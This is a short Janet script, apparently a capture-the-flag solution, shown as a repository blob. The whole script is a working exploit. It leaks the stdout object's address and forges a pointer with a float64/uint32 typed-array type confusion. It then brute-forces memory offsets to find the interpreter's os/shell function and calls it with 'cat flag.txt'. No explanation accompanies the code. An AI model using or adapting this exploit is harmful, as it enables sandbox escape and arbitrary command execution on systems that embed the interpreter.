blob: bd68a620501bfe03a655484c907f06f4c3216b28 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
(def stdout-addr (string/slice (describe stdout) 13 -2))
(def stdout-msb (string/slice stdout-addr 0 -8))
(def stdout-msb (string/format "fffe%.4x" (bor 0x80000 (scan-number (string/join ["0x" stdout-msb])))))
(def stdout-lsb (scan-number (string/join ["0x" (string/slice stdout-addr -8)])))
(def buffer (tarray/buffer 8))
(def buffer-float64-view (tarray/new :float64 1 1 0 buffer))
(def buffer-uint32-view (tarray/new :uint32 2 1 0 buffer))
(defn update-buffer [lsb]
(let [a (string/slice stdout-msb 0 -2)
b (string/join [(string/slice stdout-msb -2) (string/format "%.7x" lsb)])]
(set (buffer-uint32-view 1) (scan-number (string/join ["0x" a])))
(set (buffer-uint32-view 0) (scan-number (string/join ["0x" b])))))
(def start (bor (band stdout-lsb 0xfff00000) 0x0001f1e0))
(loop [off :range [0 100000]]
(update-buffer (- start (* 0x1000 off)))
(when (string/find "os/shell" (describe (buffer-float64-view 0)))
(print (describe (buffer-float64-view 0)))
((buffer-float64-view 0) "cat flag.txt")))
(print "Done.")
|
